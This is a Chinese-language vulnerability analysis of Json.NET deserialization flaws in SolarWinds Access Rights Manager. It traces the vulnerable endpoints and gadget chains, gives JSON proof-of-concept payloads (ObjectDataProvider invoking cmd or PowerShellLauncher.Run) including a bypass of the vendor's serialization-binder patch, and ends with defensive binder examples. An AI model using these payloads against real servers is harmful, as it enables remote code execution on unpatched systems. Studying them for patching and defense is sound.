SolarWinds ARM json.net 反序列化
前言
之前整理了Solarwinds历史漏洞分析一系列的json.net反序列化漏洞,本文分析下Solarwinds ARM产品一系列的json反序列化,最后补充下json.net常见的几种修复方式。
Solarwinds Access Rights Manager产品漏洞线
CVE-2023-35184 漏洞点ExecuteAction
CVE-2023-35180 漏洞点IFormTemplate
CVE-2023-35186 漏洞点GetParameterFormTemplateWithSelectionState
CVE-2024-23478 JsonSerializationBinder补丁绕过
关键修改类在pn.helper.JsonSerializer,新增了ISerializationBinder类,部分类型新增了JsonConverter。主要diff
配置SerializationBinder
漏洞分析
漏洞点
目标是ASP.NET Core 2.0开发的应用程序,查看其配置,Startup.cs中的ConfigureServices方法
配置了下面这些东西
//Filters
options.Filters.Add(new AuthorizeFilter("ArmCookie"));
//SerializerSettings
DefaultContractResolver defaultContractResolver = options.SerializerSettings.ContractResolver as DefaultContractResolver;
if (defaultContractResolver != null)
{
options.SerializerSettings.NullValueHandling = NullValueHandling.Ignore;
defaultContractResolver.NamingStrategy = null;
}
//身份验证机制
services.AddAuthorization
看到这里配置的反序列化器是Newtonsoft.Json,net core低版本自带Newtonsoft.Json。
高版本默认自带的序列化器是System.Text.Json,要使用Newtonsoft.Json需要引入Microsoft.AspNetCore.Mvc.NewtonsoftJson.dll
并在ConfigureServices配置。
几个漏洞的source点都在pn.WebApi8Man.Controllers.v1.AnalyzeActionController
中,
//CVE-2023-35184
[HttpPost("{actionId}/Execute")]
[TypedJsonResult]
public ChangeResult ExecuteAction(Guid actionId, [FromBody] ExecuteActionParameter data)
{
IFormTemplate formTemplate = null;
if (data.FormDataJson != null)
{
//反序列化ExecuteActionParameter的FormDataJson字段
formTemplate = this.webApplication.FromJson(data.FormDataJson).ParseExpressions();
}
//CVE-2023-35186
public SuccessResult GetParameterFormTemplateWithSelectionState(Guid actionId, [FromBody] string selectionState)
{
//反序列化传入的selectionState字符串
IFormTemplate parameterFormTemplate = this.webApplication.ActionService.GetParameterFormTemplate(base.Request.GetUserInfo(), actionId, this.webApplication.FromJson(selectionState));
IFormTemplate result = (parameterFormTemplate != null) ? parameterFormTemplate.ParseExpressions() : null;
return new SuccessResult(result);
}
//CVE-2023-35180应该有很多地方,参考CVE-2023-35184
serializationSettings在pn.helper.JsonSerializer中配置
this.serializationSettings = new JsonSerializerSettings
{
ReferenceLoopHandling = ReferenceLoopHandling.Ignore,
TypeNameHandling = TypeNameHandling.Auto,
TypeNameAssemblyFormatHandling = TypeNameAssemblyFormatHandling.Simple,
NullValueHandling = NullValueHandling.Include,
DefaultValueHandling = DefaultValueHandling.Include
};
最终sink点在FromJson方法中
public static T FromJson<T>(this WebApplication webApplication, string jsonString, bool withTypeNames = false)
{
......
jsonString = webApplication.TypeAliasInjectingJsonSerializer.ResolveTypeAliasInJson(jsonString);
}
T t = JsonConvert.DeserializeObject<T>(jsonString, new JsonSerializerSettings
{
TypeNameHandling = (withTypeNames ? TypeNameHandling.Objects : TypeNameHandling.None),
MissingMemberHandling = MissingMemberHandling.Ignore
});
.......
几个漏洞原理差不多,都是将ExecuteActionParameter.FormDataJson字段反序列化为IFormTemplate类型,下一步需要找到利用链。
利用链
找到这个可疑泛型类pn.formTemplates.resourceTemplates.DefaultValueFormTemplateBase<TValue>
public abstract class DefaultValueFormTemplateBase<TValue> :
DefaultLabelledCanBeDisabledFormTemplate,
IHasValueFormTemplate<TValue>,
IHasValueFormTemplate,
IFormTemplate,
IDescription
{
......
public virtual TValue Value
{
get => this.value;
set => this.value = value;
}
......
现在只需要找到其实现存在object类型的字段或实现了DefaultValueFormTemplateBase<Object>
的类就能RCE;
定位到其实现的类有如下:
最终找到SearchFieldFormTemplate类其实现了DefaultValueFormTemplateBase<SimpleObject>
,而SimpleObject类存在public object Value { get; set; }
,构造poc就行
SimpleObject simpleObject = new SimpleObject();
simpleObject.Value = new object();
DefaultValueFormTemplateBase<SimpleObject> test = new SearchFieldFormTemplate();
test.Value = simpleObject;
string json = JsonConvert.SerializeObject(test, settings);
Console.WriteLine(json);
//output
{"$type":"SearchFieldFormTemplate","ObjectType":null,"Filters":null,"Summary":"pn.formTemplates.SimpleObject","Value":{"$type":"SimpleObject","DisplayName":null,"Description":null,"Path":null,"Value":{"$type":"Object"}},"DefaultValu
e":null,"IsRequired":false,"Description":null,"CustomError":null,"AllowApply":true,"Label":null,"IsEnabled":true,"IsEnabledRule":null,"ParsedIsEnabledRule":null,"CustomAttributes":null,"IsHidden":false,"IsVisibleRule":null,"ParsedIs
VisibleRule":null}
最后poc将yso中的payload替换{"$type":“Object”}。
补丁分析绕过
补丁大致是将IFormTemplate的字段IBooleanExpression使用自定义JsonConverter进行反序列化,以及配置ISerializationBinder,实现如下
using System;
using System.Collections.Generic;
using System.Linq;
using System.Reflection;
using Newtonsoft.Json.Serialization;
using pn.extensions;
namespace pn.helper
{
public sealed class JsonSerializationBinder : ISerializationBinder
{
public JsonSerializationBinder()
{
//配置的白名单
this.supportedTypesAndAssemblies = this.getPnTypes();
this.supportedTypes = (from s in this.supportedTypesAndAssemblies
select s.Split(new string[]
{
","
}, StringSplitOptions.RemoveEmptyEntries).FirstOrDefault<string>()).ToHashSet<string>();
}
......
public Type BindToType(string assemblyName, string typeName)
{
Type type = Type.GetType(typeName);
if (type == null)
{
Assembly assembly = Assembly.Load(assemblyName);
type = assembly.GetType(typeName, true, true);
}
//白名单判断以及SecurityCritical和IsMarshalByRef的判断
if ((this.isSupportedPnType(type) || (!type.IsSecurityCritical && !type.IsMarshalByRef)) && (type.Assembly.GetName().Name.Equals(assemblyName, StringComparison.OrdinalIgnoreCase) || type.Assembly.GetName().FullName.Equals(assemblyName, StringComparison.OrdinalIgnoreCase)))
{
return type;
}
throw new NotSupportedException("Deserialization of type '" + typeName + "' is not supported.");
}
.......
private bool isSupportedPnType(Type pnType)
{
return this.supportedTypes.Contains(pnType.FullName) || this.supportedTypesAndAssemblies.Select(new Func<string, Type>(Type.GetType)).Any((Type t) => t.IsAssignableFrom(pnType));
}
private HashSet<string> supportedTypesAndAssemblies;
private readonly HashSet<string> supportedTypes;
}
}
BindToType会判断每个需要反序列化的类,具体关注这个条件(this.isSupportedPnType(type) || (!type.IsSecurityCritical && !type.IsMarshalByRef)
,只需要反序列化的类满足其条件职以即可。
来看看常用的payload
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
涉及到三个类:
System.Windows.Data.ObjectDataProvider //允许
System.Collections.ArrayList //允许
System.Diagnostics.Process //不允许,IsMarshalByRef
所以绕过有两个思路:
- 白名单绕过 this.isSupportedPnType(type) 可用ObjectDataProvider链的一半即能任意方法调用,白名单那几乎是WebApi8Man.exe用到的类,只要找到白名单内恶意方法执行命令就行。
- 黑名单那绕过 (!type.IsSecurityCritical && !type.IsMarshalByRef)
思路一
既然能实现任意方法调用,写了个小工具遍历找到了可利用的两个类。 PS:我只扫了一半不到的dll,应该该有一些别的地方
pn.humster.OperatingSystemHelper::CreateTextFile(System.String,System.String,System.Boolean,System.Text.Encoding)
SolarWinds.ARM.PowerShellTools.PowerShellLauncher::Run(System.String,System.Collections.Generic.Dictionary`2<System.String,System.Object>)
最终POC
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Run',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd.exe',{'$type':'System.Collections.Generic.Dictionary`2[[System.String, mscorlib],[System.Object, mscorlib]], mscorlib','/c':'calc'}]
},
'ObjectInstance':{'$type':'SolarWinds.ARM.PowerShellTools.PowerShellLauncher, SolarWinds.ARM.PowerShellTools, Version=23.2.1.103, Culture=neutral, PublicKeyToken=2ca8767897d7025a'}
}
思路二
由于我天真的认为 (!type.IsSecurityCritical && !type.IsMarshalByRef)
黑名单修复方式是基于现有的利用链,最开始仅尝试了json.net中的新链子(都无法绕过),最后发现WindowsIdentity链也可以用。
Console.WriteLine(typeof(WindowsIdentity).IsSecurityCritical);
Console.WriteLine(typeof(WindowsIdentity).IsMarshalByRef);
//output
//false
//false
可惜的是提了之后回复我已由其他安全研究员提交……,盲猜一波chudypb交的,然后前两天ZDI公布的CVE-2024-23478 ,果不其然。
目前最新补丁将IsSecurityCritical替换成了IsSecurityTransparent
SecurityTransparent、SecuritySafeCritical 和 SecurityCritical参考clr-inside-out-migrating-an-aptca-assembly-to-the-net-framework-4,本地测试大多数类用不了了。
json.net反序列化防御
下面的几种防御方式官方文档都能翻到其使用方式,放个测试demo
- SerializationBinder
......
JsonSerializerSettings settings = new JsonSerializerSettings();
settings.Binder = new MyBinder();
class MyBinder : SerializationBinder
{
public override Type BindToType(string assemblyName, string typeName)
{
Console.WriteLine($"assemblyName:{assemblyName},typeName:{typeName}.");
Type typeToDeserialize = Type.GetType(String.Format("{0}, {1}", typeName, assemblyName));
if (typeToDeserialize.Equals(typeof(ObjectDataProvider)))
{
//throw new Exception("can't deseriliza rce class.");
Console.WriteLine("can't deseriliza other class.");
return null;
}
return typeToDeserialize;
}
}
- ISerializationBinder
......
JsonSerializerSettings settings = new JsonSerializerSettings();
settings.SerializationBinder = new ISerializationBinderImpl();
public class ISerializationBinderImpl : ISerializationBinder
{
public Type BindToType(string assemblyName, string typeName)
{
Type typeToDeserialize = Type.GetType(String.Format("{0}, {1}", typeName, assemblyName));
if (typeToDeserialize.Equals(typeof(ObjectDataProvider)))
{
//throw new Exception("can't deseriliza rce class.");
Console.WriteLine("can't deseriliza other class.");
//return null;
}
return typeToDeserialize;
}
public void BindToName(Type serializedType, out string assemblyName, out string typeName)
{
assemblyName = null;
typeName = serializedType.Name;
}
}
- IContractResolver
......
JsonSerializerSettings settings = new JsonSerializerSettings();
settings.ContractResolver = new SecContractResolver();
public class SecContractResolver : IContractResolver
{
private static readonly ISet<string> BlackListSet = new HashSet<string>(StringComparer.OrdinalIgnoreCase)
{
"System.Windows.Data.ObjectDataProvider",
};
public JsonContract ResolveContract(Type type)
{
//throw new NotImplementedException();
if (BlackListSet.Contains(type.FullName))
{
throw new SecurityException($"Type '{type}' is not allowed for deserialization.");
}
var defaultContractResolver = new DefaultContractResolver();
return defaultContractResolver.ResolveContract(type);
}
}
总结
除了反序列化为任意类型,其他产生漏洞的地方主要靠三点:
自定义的JsonConvert
反序列化的类存在恶意setter或getter
泛型类